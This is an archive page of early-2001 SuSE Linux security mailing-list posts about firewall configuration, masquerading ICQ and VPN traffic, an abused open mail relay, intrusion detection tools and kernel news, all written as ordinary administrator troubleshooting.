Hello everybody, my SuSEfirewall version 2.6 (I thinkt it`s 2.6) SuSE Linux 7.0 produced the following messages: root@compulrich:/home/sure > /sbin/SuSEfirewall /sbin/SuSEfirewall: split-brained.: command not found /sbin/SuSEfirewall: host/network.: Datei oder Verzeichnis nicht gefunden /sbin/SuSEfirewall: dmz/intern: Datei oder Verzeichnis nicht gefunden /sbin/SuSEfirewall: addesses!: command not found root@compulrich:/home/sure > Does everone know, why this message appears. I`ver configured the firewall as described in the EXAMPLES file ulrich_schneider(a)uni.de

2 1

Email behaviour
by Raffy 10 Jan '01

10 Jan '01

Whenever I send email to a specific server, the server trys to connect to my server on port 137. Any ides what is going on there? Is that one misconfigured? I mean I could sniff that traffic and see what it is, but does anybody know what it is and why? Thanks Raffy

4 3

RE: [suse-security] Email behaviour
by Raffy 10 Jan '01

10 Jan '01

Its certainly netbios!! > > Whenever I send email to a specific server, the server trys to connect to my > > server on port 137. > > I don't know, but you can see : (for colsfaq) > > 5.7) I'm seeing repeated probes to port xxxx... What does this > mean? > > Here are some lists of port assignments: > > IANA Port Assignments : > http://www.isi.edu/in-notes/iana/assignments/port-numbers - > "Official" port assignment from the Internet Assigned Numbers > Authority. > > Port list at NetworkIce: > http://advice.networkice.com/advice/Exploits/Ports - List of ports > and hyperlinked explanations that includes 'less standard' ports. > > List of Trojans: http://www.tlsecurity.com/trojanh.htm - The most > complete list of trojan ports available. > > Port Search Engine: http://www.cotse.com/cgi-bin/port.cgi - Very > nice search engine for ports, links results to relevant RFC's. > > For a more in depth analysis of what you're seeing, see Robert > Graham's Firewall forensics > FAQ: http://www.robertgraham.com/pubs/firewall-seen.html > > > > Any ides what is going on there? Is that one misconfigured? I > mean I could > > sniff that traffic and see what it is, but does anybody know > what it is and > > why?

2 1

SuSEfirewall and SMTP
by Thorsten Doil 10 Jan '01

10 Jan '01

Hi all! On SuSE 6.4 I am using Marc's SuSEfirewall-4.1. Everything work's fine, if there were not this one and only annoying occurrence when sending mail via SMTP to my ISP. When doing that, ok, in principle it works, but it takes an awful lot of time until mail has left the outbox. I'm using XFMail-1.4.4 and sent mail is queued until I explicitely send it. During this, there is the following message in my /var/log/allmessages (repeated mostly 4 times): Jan 8 23:34:33 take kernel: Packet log: output DENY ppp0 PROTO=1 \ 193.218.216.98:3 193.218.216.10:3 L=88 S=0xC0 I=11620 F=0x0000 T=255 \ (#3) When I stop the firewall before sending mail, it really works fast without any error. 193.218.216.98 is my dynamically assigned IP address and 193.218.216.10 is the address of the ISP's name server. Anyone out there who could give me a small hint what I would have to change in /etc/rc.config.d/firewall.rc.config? TIA Thorsten

1 0

ICQ File Transfers
by Dan Ball 10 Jan '01

10 Jan '01

I'm running the SuSE 6.4 firewall on my server at home, with a small intranet being masqueraded. It works great except for a few internet programs that don't work properly. I disabled most of the server functions to keep it an even tighter firewall, since I don't really need them running anyway. One of the most intriguing questions I have is; how I would get ICQ to be able to do direct file transfers through the firewall? Do I need to enable one of the server functions or setup a proxy server?

2 1

Martian sources - firewall problem?
by Andrew Hougie 09 Jan '01

09 Jan '01

I am getting in my logs the following messages every three minutes: Jan 9 21:35:30 server2 kernel: martian source 0101a8c0 for ff[changed], dev eth1 Jan 9 21:35:30 server2 kernel: ll header: ff ff ff ff ff ff 00 a0 24 c7 08 86 08 00 If I've understood correctly from previous SuSE archive messages, 0101a8c0 is hex for IP address 192.168.1.1 and ff7150c6 is hex for xx.yy.zz.255 (IP address changed to protect their anonymity) Again if I've understood correctly the header "11 header" is Destination: ff ff ff ff ff ff = broadcast Source: 00 a0 24 c7 08 86 = sender's MAC address Type: 08 00 (no idea what this means but I assume it does not matter. I have two linux PCs, server1 (SuSE 6.2) and server2 (SuSE 7.0). Both have an external interface on a network connected to a router to "the internet" and have IP addresses xx.yy.zz.a and xx.yy.zz.b. eth1 on server2 is on this network. The external NIC on server1 does have MAC address 00:a0:24:c7:08:86 Both server1 and server2 have internal networks with IP addresses 192.168.1.1 and 192.168.1.6 respectively. So what the message seem to be saying is that the external interface on server2 is receiving packets from the internal interface on server1. This presumably should not happen. It seems to me that there are two possibilities here. First that I have the interface cards on server2 the wrong way round, so that eth1 on server2 with IP address xx.yy.zz.b is connected to the internal network and eth0 with IP address 192.168.1.6 to the external network. How can I test this? I have tried on server2 running > /sbin/arp -a and get server1 (192.168.1.1) at 00:E0:29:2D:CF:51 [ether] on eth0 server1 (xx.yy.zz.a) at 00:A0:24:C7:08:86 [ether] on eth1 workstation (xx.yy.zz.c) at 00:A0:24:C7:09:4F [ether] on eth1 router (xx.yy.zz.254) at 00:30:94:E5:C5:77 [ether] on eth1 and doing the same on server1 I get: server2 (192.168.1.6) at 00:C0:DF:01:C7:C8 [ether] on eth0 server2 (xx.yy.zz.b) at 00:C0:DF:F3:15:D1 [ether] on eth1 workstation (xx.yy.zz.c) at 00:A0:24:C7:09:4F [ether] on eth1 router (xx.yy.zz.254) at 00:30:94:E5:C5:77 [ether] on eth1 That looks to me like they're the right way round. Both servers are running the SuSE firewal script with IP forwarding switched on. So is the second possibility somehow that one server is forwarding packets through to the second? Could this be causing the problem? If so, is there a solution somewhere in firewall.rc.config in one of the two machines (and if so which one, or both). Or can I switch off logging with: echo "0" > /proc/sys/net/ipv4/ip_log_martians and would this cause any security concerns? Many thanks Andrew -- Andrew Hougie, Grinton, Aldenham Grove, Radlett, Hertfordshire, England, WD7 7BW Email: andrew(a)hougie.co.uk WWW: http://www.hougie.co.uk

1 0

RE: [suse-security] ICQ File Transfers
by Widmann Thomas 09 Jan '01

09 Jan '01

Hi ! * Dan Ball wrote: >I'm running the SuSE 6.4 firewall on my server at home, with a small >intranet being masqueraded. It works great except for a few internet >programs that don't work properly. I disabled most of the server >functions to keep it an even tighter firewall, since I don't really need >them running anyway. One of the most intriguing questions I have is; how >I would get ICQ to be able to do direct file transfers through the >firewall? Do I need to enable one of the server functions or setup a >proxy server? Try using the icq_masq kernel modul. ciao Thomas

1 0

Re: [suse-security] IPChains Question.
by Widmann Thomas 09 Jan '01

09 Jan '01

Hi ! * Daniel Curry wrote: >I have a windows box behind my IPChains firewall. I need to use the VPN >software for my office from behind the firewall. I have spoken with the VPN >solution provider and they have no information for making their software >work with a linux based firewall. They also told me I need to do not port >forwarding, but instead, I must do protocol forwarding. Does anyone know >how to do this? Can I use IPChains for protocol forwarding? Try using FreeS/WAN. This is an IPSEC/VPN Software for Linux ;-) http://www.freeswan.org This Package is also included in the SuSE Distributions. ciao Thomas

1 0

IPChains Question.
by Daniel Curry 09 Jan '01

09 Jan '01

I have a windows box behind my IPChains firewall. I need to use the VPN software for my office from behind the firewall. I have spoken with the VPN solution provider and they have no information for making their software work with a linux based firewall. They also told me I need to do not port forwarding, but instead, I must do protocol forwarding. Does anyone know how to do this? Can I use IPChains for protocol forwarding? Thanks Daniel Curry.

1 0

problem tunneling via ssh
by linux＠actionbusinesssystems.com 09 Jan '01

09 Jan '01

Howdy. I am having a little problem here. I was able to tunnel vnc and other things via ssh by enabling port-forwarding, but now I can't. About the only thing I can think of is perhaps this ability was nixed after I ran harden_suse. Anyone run up against this before? Thanks :) Joey Kelly System & Network Administrator ActionBusinessSystems.com && Gimme this! Gimme that! Hurry up or I'll knock you flat!

1 0

Re: [suse-security] Intrusion detection?
by Nix 09 Jan '01

09 Jan '01

At 09:25 PM 6/01/2001 +0000, you wrote: >Thomas, >Can you advice us a IDS that dont suck? >I just use Linux at home so I'll probably keep using many things that suck, >at least for try to learning how they suck, but others may need to know >other IDS apps, for corporate use. >http://website.lineone.net/~offthecuff/HIDS.htm >(http://www.networkintrusion.co.uk) > >btw ... also many commercial stuff suck, in this case vulnerability >scanners: http://www.nwc.com/1201/1201f1b1.html IMHO IDS systems are close to worthless. At best they lets you know that you have already been broken into, at worst, they breed a dangerous false sense of security. As a greater percentage of network traffic is being encrypted every day, and an IDS cannot "see" into encrypted traffic, it means that your IDS has a huge blind-spot. This is only going to get worse. Test out any of the IIS exploits if you don't believe me (the unicode exploit is a good example because it works against IIS4 and IIS5) this exploit will sail straight past your IDS without raising a murmur, allow you to execute arbitrary programs on the target machine, and even download the servers Private SSL key. FUN! Cheers -Nix -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking

4 3

AW: [suse-security] spam??
by Stiefenhofer, Marek ECOFIS 09 Jan '01

09 Jan '01

-----Ursprüngliche Nachricht----- Von: Philipp Snizek [mailto:mailinglists@belfin.ch] Gesendet am: Dienstag, 9. Januar 2001 11:42 An: suse-security(a)suse.com Betreff: [suse-security] spam?? Jan 9 11:32:50 mail sendmail[7407]: f09AWoJ07407: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com Jan 9 11:32:52 mail sendmail[7406]: f09AWgJ07404: to=<bdaddy5985(a)aol.com>,<miagi3(a)aol.com>,<kjustin316(a)aol.com>,<kjusticef@aol .com>,<epfoxfire(a)aol.com>,<miagi33362(a)aol.com>, delay=00:00:10, xdelay=00:00:03, mailer=esmtp, pri=282539, relay=yh.mx.aol.com. Someone (solutionsnet.com) seems to be using your mailserver (mail.belfin.ch) to send mail to aol customers. In case you're not mail-provider for solutionsnet.com this is indeed spamming. You should configure/upgrade your sendmail to relay only for certain hosts/domains/ip-ranges. Regards, Marek

1 0

spam?
by Philipp Snizek 09 Jan '01

09 Jan '01

Hi all Can somebody tell me whether my mail server is spammed? Here's an exculusion from my log (which has grown damn quick during the past hours). Jan 9 11:32:50 mail sendmail[7407]: f09AWoJ07407: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com Jan 9 11:32:52 mail sendmail[7406]: f09AWgJ07404: to=<bdaddy5985(a)aol.com>,<miagi3(a)aol.com>,<kjustin316(a)aol.com>,<kjusticef@aol .com>,<epfoxfire(a)aol.com>,<miagi33362(a)aol.com>, delay=00:00:10, xdelay=00:00:03, mailer=esmtp, pri=282539, relay=yh.mx.aol.com. [205.188.157.4], dsn=2.0.0, stat=Sent (OK) Jan 9 11:32:57 mail sendmail[7407]: f09AWoJ07407: from=<cormier24(a)solutionsnets.com>, size=12532, class=0, nrcpts=6, msgid=<rdctqywvs.1fhg8w6ibb0yp(a)mx19.solutionsnets.com>, proto=SMTP, daemon=MTA, relay=[63.57.179.121] Jan 9 11:32:58 mail sendmail[7415]: f09AWwJ07415: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com Jan 9 11:33:00 mail sendmail[7414]: f09AWoJ07407: to=<thhhth(a)aol.com>,<aalyahya(a)aol.com>,<epfp(a)aol.com>,<comishintn(a)aol.com>,< miagi407(a)aol.com>,<kjustin99(a)aol.com>, delay=00:00:10, xdelay=00:00:03, mailer=esmtp, pri=282532, relay=yd.mx.aol.com. [205.188.156.163], dsn=2.0.0, stat=Sent (OK) Jan 9 11:33:05 mail sendmail[7415]: f09AWwJ07415: from=<mikee60079(a)solutionsnets.com>, size=12535, class=0, nrcpts=6, msgid=<rdctqywvs.1fhg8w6ibb0yp(a)mx19.solutionsnets.com>, proto=SMTP, daemon=MTA, relay=[63.57.179.121] Jan 9 11:33:06 mail sendmail[7436]: f09AX6J07436: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com Jan 9 11:33:10 mail sendmail[7434]: f09AWwJ07415: to=<idiot19909(a)aol.com>,<epfpcg(a)aol.com>,<thhi0570(a)aol.com>,<thhhwaack(a)aol.c om>,<kjustin(a)aol.com>,<idiot1983(a)aol.com>, delay=00:00:12, xdelay=00:00:05, mailer=esmtp, pri=282535, relay=xb.mx.aol.com. [64.12.136.89], dsn=2.0.0, stat=Sent (OK) Jan 9 11:33:10 mail sendmail[7391]: f09AWNJ07378: to=<miagi24(a)aol.com>,<aalyahlvr(a)aol.com>,<miagi2330(a)aol.com>,<idiot196(a)aol.c om>,<epfourtish(a)aol.com>,<idiot1836(a)aol.com>, delay=00:00:47, xdelay=00:00:38, mailer=esmtp, pri=282542, relay=xb.mx.aol.com. [64.12.136.89], dsn=2.0.0, stat=Sent (OK) Jan 9 11:33:14 mail sendmail[7436]: f09AX6J07436: from=<mikee60369(a)solutionsnets.com>, size=12531, class=0, nrcpts=6, msgid=<rdctqywvs.1fhg8w6ibb0yp(a)mx19.solutionsnets.com>, proto=SMTP, daemon=MTA, relay=[63.57.179.121] Jan 9 11:33:15 mail sendmail[7441]: f09AXFJ07441: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com TIA Philipp

1 0

spam??
by Philipp Snizek 09 Jan '01

09 Jan '01

Hi all Can somebody tell me whether my mail server is spammed? Here's an exculusion from my log (which has grown damn quick during the past hours). Jan 9 11:32:50 mail sendmail[7407]: f09AWoJ07407: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com Jan 9 11:32:52 mail sendmail[7406]: f09AWgJ07404: to=<bdaddy5985(a)aol.com>,<miagi3(a)aol.com>,<kjustin316(a)aol.com>,<kjusticef@aol .com>,<epfoxfire(a)aol.com>,<miagi33362(a)aol.com>, delay=00:00:10, xdelay=00:00:03, mailer=esmtp, pri=282539, relay=yh.mx.aol.com. [205.188.157.4], dsn=2.0.0, stat=Sent (OK) Jan 9 11:32:57 mail sendmail[7407]: f09AWoJ07407: from=<cormier24(a)solutionsnets.com>, size=12532, class=0, nrcpts=6, msgid=<rdctqywvs.1fhg8w6ibb0yp(a)mx19.solutionsnets.com>, proto=SMTP, daemon=MTA, relay=[63.57.179.121] Jan 9 11:32:58 mail sendmail[7415]: f09AWwJ07415: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com Jan 9 11:33:00 mail sendmail[7414]: f09AWoJ07407: to=<thhhth(a)aol.com>,<aalyahya(a)aol.com>,<epfp(a)aol.com>,<comishintn(a)aol.com>,< miagi407(a)aol.com>,<kjustin99(a)aol.com>, delay=00:00:10, xdelay=00:00:03, mailer=esmtp, pri=282532, relay=yd.mx.aol.com. [205.188.156.163], dsn=2.0.0, stat=Sent (OK) Jan 9 11:33:05 mail sendmail[7415]: f09AWwJ07415: from=<mikee60079(a)solutionsnets.com>, size=12535, class=0, nrcpts=6, msgid=<rdctqywvs.1fhg8w6ibb0yp(a)mx19.solutionsnets.com>, proto=SMTP, daemon=MTA, relay=[63.57.179.121] Jan 9 11:33:06 mail sendmail[7436]: f09AX6J07436: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com Jan 9 11:33:10 mail sendmail[7434]: f09AWwJ07415: to=<idiot19909(a)aol.com>,<epfpcg(a)aol.com>,<thhi0570(a)aol.com>,<thhhwaack(a)aol.c om>,<kjustin(a)aol.com>,<idiot1983(a)aol.com>, delay=00:00:12, xdelay=00:00:05, mailer=esmtp, pri=282535, relay=xb.mx.aol.com. [64.12.136.89], dsn=2.0.0, stat=Sent (OK) Jan 9 11:33:10 mail sendmail[7391]: f09AWNJ07378: to=<miagi24(a)aol.com>,<aalyahlvr(a)aol.com>,<miagi2330(a)aol.com>,<idiot196(a)aol.c om>,<epfourtish(a)aol.com>,<idiot1836(a)aol.com>, delay=00:00:47, xdelay=00:00:38, mailer=esmtp, pri=282542, relay=xb.mx.aol.com. [64.12.136.89], dsn=2.0.0, stat=Sent (OK) Jan 9 11:33:14 mail sendmail[7436]: f09AX6J07436: from=<mikee60369(a)solutionsnets.com>, size=12531, class=0, nrcpts=6, msgid=<rdctqywvs.1fhg8w6ibb0yp(a)mx19.solutionsnets.com>, proto=SMTP, daemon=MTA, relay=[63.57.179.121] Jan 9 11:33:15 mail sendmail[7441]: f09AXFJ07441: Authentication-Warning: mail.belfin.ch: Host [63.57.179.121] claimed to be mx19.solutionsnets.com TIA Philipp

1 0

IRC daemons and security
by Stefan Suurmeijer 09 Jan '01

09 Jan '01

Hi, I was wondering if anyone on this list could point me to a site with a comparison between IRC daemons, specifically WRT security and performance issues. Of course any info any of you have yourself would be welcome too. TIA Stefan

1 0

RE: [suse-security] The NSA's version of Linux. Open source at th at!
by Nix 09 Jan '01

09 Jan '01

At 04:37 PM 8/01/2001 -0500, you wrote: >Well the announcement came out today so their web site may be swamped. >Try http://currents.net/news/01/01/08/news6.html this has actually been out for almost 2 weeks. If you have a look at Bugtraq archives, you will find that infact a vulnerability has already been found in the code that NSA added.... Nice to see that no-one is perfect :-) -Nix --- Nix - nix(a)susesecurity.com SuSE-Security FAQ Maintainer http://www.susesecurity.com

1 0

RE: [suse-security] The NSA's version of Linux. Open source at th at!
by Jacks, Charles 08 Jan '01

08 Jan '01

Well the announcement came out today so their web site may be swamped. Try http://currents.net/news/01/01/08/news6.html Charles Jacks -----Original Message----- From: Fred A. Miller [mailto:fm@cupserv.org] Sent: Monday, January 08, 2001 16:11 To: Jacks, Charles Subject: Re: [suse-security] The NSA's version of Linux. Open source at that! "Jacks, Charles" wrote: > > Linux security via the nsa. > > http://www.nsa.gov/selinux/ nasa.gov is NOT responding...hmmmmmmm. Fred -- ----/ / _ Fred A. Miller ---/ / (_)__ __ ____ __ Systems Administrator --/ /__/ / _ \/ // /\ \/ / Cornell Univ. Press Services -/____/_/_//_/\_,_/ /_/\_\ fm(a)cupserv.org

1 0

The NSA's version of Linux. Open source at that!
by Jacks, Charles 08 Jan '01

08 Jan '01

Linux security via the nsa. http://www.nsa.gov/selinux/ Charles Jacks

1 0

link for ssl-documentation
by Philipp Snizek 08 Jan '01

08 Jan '01

Hi all has anybody got good howto links for how to encrypt www sites with ssl? TIA Philipp

3 2

Re: Re: [suse-security] SuSE/Linux advocacy
by r.maurizzi＠gvs.it 08 Jan '01

08 Jan '01

> As the person who first made the suggestion and unwittingly released the > advocacy hounds my main concern is that people should not be starting > network services by mistake. So I would accept START_SSHD=no as a > compromise. The point Roman makes about being able to ssh/scp to freshly installed machines is a good one. What about a rule in the tcpwrappers (host.allow/host.deny) to accept connections only from the local network? Or maybe, use START_SSHD=no in the default package, and have an additional, non default rpm that only changes START_SSHD to 'yes', so that I can add this rpm to the "installation list" of computers I want to be able to ssh to. Ciao, Roberto.

1 0

Intrusion detection?
by Stefan Hoffmeister 08 Jan '01

08 Jan '01

Hi, what are the recommended tools to add to a (dial-up) NAT gateway to detect attacks on that gateway? I am not (yet :->) looking for tools how to detect things after the deed is done, but for some kind of an early warning system (and I am not particularly interested in reading the raw logs emitted by ipchains). http://www.securityfocus.com/ lists a couple of things, but this seems to be just an *unreviewed* long list of tools, with rather unknown quality. TIA Stefan

7 17

Mail filter on firewall?
by Stefan Hoffmeister 08 Jan '01

08 Jan '01

Is there a way to filter mail (for viruses / content / attachments) on a masquerading firewall without a server on the gateway? I currently have SuSE 7.0 running here, providing NAT for a few clients on the LAN; SuSEfirewall 4.2 protects the gateway. In order to protect some clients, I would like check the emails that are flowing in and filter or modify the content in case some criteria are matched (".EXE file attached? Kill. Now." etc). ZoneAlarm (http://www.zonealarm.com/) on Windows has functionality for clients that does this to some extent (rename .VBS scripts). At the same time, I would like to allow connections to any standard mail server out there (freemailers, for instance). I am under the impression that having a port redirector on the firewall which looks at the POP3 traffic might be effective? Is there such a thing at all? I looked around and only found setups where a (gateway) "local" mail server was around that did all the processing, with clients connecting to the *local* gateway. TIA, Stefan

2 1

RE: [suse-security] Mail filter on firewall?
by Martin Mielke 08 Jan '01

08 Jan '01

> Is there a way to filter mail (for viruses / content / > attachments) on a > masquerading firewall without a server on the gateway? > Hello, take a look at http://amavis.sourceforge.net/ HTH, Martin

1 0

Re: [suse-security] SuSE "?"
by Nix 08 Jan '01

08 Jan '01

At 12:01 AM 8/01/2001 +0100, you wrote: > > > > > > Easy setup for cable and ASDL connection. I'm not sure that it's possible to make it any easier. the rp_ppoe package already included with SuSE requires that you edit 2 lines in the config file (username and password) and away you go. For DHCP based cable modems like Optus@Home (in Australia) you simply have to edit dhcpcd.conf an put your username in there as the computer name. for Cable networks (Like Telstra Bigpond) that require a login client, you have to download and install this separately, however this is always going to be the case, as it will vary from cable provider to cable provider. So to sumarise, SuSE has complete support for Cable, DSL, Modem, ISDN, Ethernet, and Ham (wireless) based internet access? This only this SuSE doesn't have support for atm that I can think of is IR support for my Nokia phone, but it's a simple matter to download and compile gnokii. For god's sake, how much easier do you need it? Next think we'll have that fucking dancing paper clip!!! -Nix -- Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking

1 0

SuSE "?"
by Faessen Jean-Paul 08 Jan '01

08 Jan '01

Now that the new 2.4 is out,can SuSE tell us when it will be integrated in the new SuSE? The commercial SuSE is full of soft,but is it possible to do a little bit of clean-up? I agree with the people writing that we don't need 1000 packages of fe intrusionsoftware but that we want the soft that really works. Here are my suggestions. Easy setup for cable and ASDL connection. Easy setup for allowing the users to connect the internet.So not only root. I did not yet find out how to do this. Soft for IDE-CDburners... integration in the softpackages of PMFirewall,portsentry and Licq.Would Bastille for SuSE be a bad idea?It's included in Red Hat only,but it seems to be good. I wish the SuSE-team good luck... Jean-Paul Faessen

5 4

SuSE 2.4 Kernel and ReiserFS ?
by Eduardo J. Vega Arguedas 08 Jan '01

08 Jan '01

hi ! Yesterday I download and try to install the Kernel 2.4 from the SuSE FTP site. What was my surprise when I try to set the options for my new kernel That the ReiserFS support can't be enabled !! so many other thinks ! ? Why ? How can I enable the ReiserFS Support ? and many other things that where enabled on Kernel 2.2.16 ??? Why are can't be choose Also From where I can find information about the new features and improvements on this new Kernel Release ? Also is there any web page or information from comparations between the Kernel versions ? Thanks --ed

2 1

applix axnet crash caused by telnet connect
by Stefan A. Tichy 07 Jan '01

07 Jan '01

Hi, ApplixWare Office 4.4.1 is installed on SuSE 7.0. At port 5492 there is axnet listening. Just telnet to this port and typing anyting does crash axnet. strace shows and old_mmap ENOMEM error. Is it possible to start axnet without binding to non-local addresses? -- Stefan Tichy <sat(a)pi4tel.de>

1 0

Getting mail via POP from DMZ server
by suse＠diplan.de 07 Jan '01

07 Jan '01

Hi. Preparing a new DMZ server I wonder how Email from external, which arrives at the DMZ server is to be treated most secure. Is there a secure possibility to transfer the whole mail to my internal server (fetchmail?) where staff could get it by POP or is POP from internal to DMZ secure enough? Clients run on WinNT. Any advice appreciated, Rainer --

6 7

ICQ and firewals
by Corvin Russell 07 Jan '01

07 Jan '01

I am using the firewall package that came with 6.4. Neither kicq nor ICQJava can establish a connection. Both work fine when the firewall is stopped. What do I need to allow? I don't have a sniffer running, and there's no documentation about the ports that ICQ listens on. I have noticed 1067, 1069 so far. The ICQ server is at 205.188.153.100 - 205.188.153.110 (looks like) and connects on port 4000. TIA Corvin -- Corvin Russell <corvinr(a)sympatico.ca>

3 3

Masq'ing pptp
by Kevin Creason 07 Jan '01

07 Jan '01

I've got 6.4 (kernel v 2.2.14) running on my masq box, and wish to run a pptp VPN through the masq/fw to someone on the farside of the i'net. My masq successfully works with everything else so far. I've been reading at ftp://ftp.rubyriver.com/pub/jhardin/masquerade/ip_masq_vpn.html ftp://ftp.rubyriver.com/pub/jhardin/masquerade/VPN-howto/VPN-Masquerade-2.ht ml http://members.home.net/ipmasq/ but I'm not sure of the SuSE kernel status. Do I need to apply the patches they recommend, or does perhaps SuSE have those in? Could I get/make the module and insmod it? TIA Kevin

2 1

And oh, btw..
by Nix 06 Jan '01

06 Jan '01

*grin* Here goes nothing... Lets see how SuSE 7 like a 2.4 series kernel... -Nix Date: Thu, 4 Jan 2001 16:01:22 -0800 (PST) From: Linus Torvalds torvalds(a)transmeta.com To: Kernel Mailing List linux-kernel(a)vger.kernel.org Subject: And oh, btw.. In a move unanimously hailed by the trade press and industry analysts as being a sure sign of incipient braindamage, Linus Torvalds (also known as the "father of Linux" or, more commonly, as "mush-for-brains") decided that enough is enough, and that things don't get better from having the same people test it over and over again. In short, 2.4.0 is out there. Anxiously awaited for the last too many months, 2.4.0 brings to the table many improvements, none of which come to mind to the exhausted release manager right now. "It's better", was the only printable quote. Pressed for details, Linus bared his teeth and hissed at reporters, most of which suddenly remembered that they'd rather cover "Home and Gardening" than the IT industry anyway. Anyway, have fun. And don't bother reporting any bugs for the next few days. I won't care anyway. Linus --- Nix - SuSE-Security FAQ Maintainer http://www.cotse.com/nix/suse-security-faq/

3 2

system()/exec() within a PHP script
by abarguia＠mail.belgavillage.be 06 Jan '01

06 Jan '01

I need to execute the imagemagick /usr/X11R6/bin/convert program within a php script. The command line: /Absolute-path-to/convert -geometry 150x150 /Absolute-path-to/PHP_image.gif /path-to/PHP_scaledimage.gif works fine from the shell. Within a php script the following line does nothing: system ("/Absolute-path-to/convert -geometry 150x150 /Absolute-path-to/PHP_image.gif /path-to/PHP_scaledimage.gif") I think it's related to some security parameters to not execute some commands from the Web. Directory/files set to 777 and scripts set to 755 SuSE 7.0 PPc Edition PHP 3.03pl1 thanks a lot for you help.

2 3

Opening up ports in firewall
by Waldack, Jesse (CAP, CARD) 05 Jan '01

05 Jan '01

I am trying to open up a few ports in my firewall (several TCP and one UDP port) for gaming purposes. I've had people offer suggestions on how it should work, but I've never been able to get it working. Can I have someone who has done this, and is working, let me know how they got it working with some examples? :) I am using SuSE 6.4 as a Masq server to my cable modem. The other PCs on the LAN has 192.168.x.x IPs. Thanks in advance for your help. -Jesse

1 0

Re: [slug] Re: ftp/firewall security
by MaD dUCK 05 Jan '01

05 Jan '01

also sprach gabriel rosenkoetter (on Thu, 04 Jan 2001 03:16:04PM -0500): > You can't. Passive ftp and firewalls don't mix, and never have. Any > intelligent ftp client (ncftp included, last I checked) will attempt > to use passive, and fall back to active if it can't get through. well, as far as i can tell the problem is beyond ftp. it's about stateless firewalls. because if i ssh into allspice for instance, my ssh client talks to port 22 on allspice which then spawns into a dialogue between some port x on allspice and a port above 1024 on my machine. so in a stateless firewall, that just has to be open. the port 1024+ aspect i mean... > > 99% of all ftp traffic nowadays is passive, so the data transfer > > happens from port 21 of the server to port x {x | x >= 1024} of the > > client. > > Um... where'd you come up with that figure? no idea. i thought i read that somewhere... > > more important in this situation, it is very possible that some client > > program tries to establish a connection to a server with the backward > > connect (server -> client) being something like x -> 5021. > > ... or 6xxx (X). except that ports 6000/6001 could be enabled specifically if i wanted X. the same applies to port 4000 (icq). the point is that X and icq have specific ports but the client connections to common spawn-services use the next available port... > > (i DENY packets rather than to REJECT them). > > Why? Short of a signature suggesting a DoS, it's common courtesy to > reject. Oh, wait, you lack state. Ne'mind. Get a real (stateful) > firewall, then. ;^> i am insulted. the reason is: there are windoze clients on the networks that i am in and what i found is that if you REJECT, windoze generates a whole lot more traffic than if you simply DENY and let it poll every 15 seconds. it's weird, i know, but that's what tcpdump and my switch LEDs indicate... > > so while it is perfectly understandable to me how and why and what > > ports under 1024 i have to block and open to secure the machine, the > > ports above 1024 are a mystery. a lot of networks i have worked > > in/with/for had firewall policies that allowed anything above 1024, > > but as philip pointed out, this is asking for trojans. > > No, no, no. This is painfully wrong-headed. You're only asking for > trojans if there's a way to break security on ports where you > actually run servers. If not, then having these ports open does you > no harm. If so, then a cracker will find a way to trojan you with > the ports you have open anyway. (Trust me, it's not hard to write a > daemon that behaves like an sshd except with certain input, when it > gives you a root shell instead, and substitute that for your > currently-running sshd.) yes, you have a point. to be honest, until i started that discussion on suse-security, i did not think that having ports 1024+ open would be a problem if the rest of the system was secure... > Every workable (note I don't say *good*) ipchains setup I've ever > seen just allowed ports over 1024. If you want to keep rpc or X > traffic inside, you're going to have to randomly decided to block > a swath of those, or trust that blocking the ports the server > daemons actually run on will be enough. that's what i am doing now... > Or install yourself lots of proxies (no kind of fun). woohoo. > > and do you guys know of free, open-source statefull firewalls for > > linux? > > I'm pretty sure BSD ipf/ipnat will build on Linux (it does on > Solaris). Not that I've tried. does ipf do stateful in a good way? because the newer ipchains do it to (context based), but it's still simple... martin [greetings from the heart of the sun]# echo madduck@!#:1:s@\@@@.net -- heisenberg may have been here.

2 1

Enlighten/AgentMon_V3.4.0 on darkstar: software alarm (fwd)
by Michael Chletsos 05 Jan '01

05 Jan '01

Does anyone know what this stuff means? Subject: software inventory changed on darkstar missing: k2'%($)'(2C\m\c$\[`kfi]fiB>fc[ilee\i missing: e\2'%+%($)'.2:fe]`^li\Oj\im\im`[\fdf[\j\kk`e^j thanks michael

1 0

RE: [suse-security] Skitter.ORG
by Raffy 05 Jan '01

05 Jan '01

> This could be not as good idea since RFC1122 says that every host connected > to the Internet must answer to icmp echo requests. Help me on this: [extract from rfc 1122]: | | | | |S| | | | | | |H| |F | | | | |O|M|o | | |S| |U|U|o | | |H| |L|S|t | |M|O| |D|T|n | |U|U|M| | |o | |S|L|A|N|N|t | |T|D|Y|O|O|t FEATURE |SECTION | | | |T|T|e ICMP Echo Request or Reply: | | | | | | | Echo server and Echo client |3.2.2.6 |x| | | | | Echo client |3.2.2.6 | |x| | | | Discard Echo Request to broadcast address |3.2.2.6 | | |x| | | Discard Echo Request to multicast address |3.2.2.6 | | |x| | | Use specific-dest addr as Echo Reply src |3.2.2.6 |x| | | | | Send same data in Echo Reply |3.2.2.6 |x| | | | | Pass Echo Reply to higher layer |3.2.2.6 |x| | | | | Reflect Record Route, Time Stamp options |3.2.2.6 | |x| | | | Reverse and reflect Source Route option |3.2.2.6 |x| | | | | What is echo server and echo client? Pass Echo Reply to higher layer? Meaning in the IP stack, right? So in short, every host and gateway should implement PING? Even firewalled hosts? So why is there this big discussions about what ICMP a firewall should allow? This document tells you which ones? I am lost... Thanks Raffy

3 2

WG: [suse-security] ICQ and firewals
by Philipp Snizek 05 Jan '01

05 Jan '01

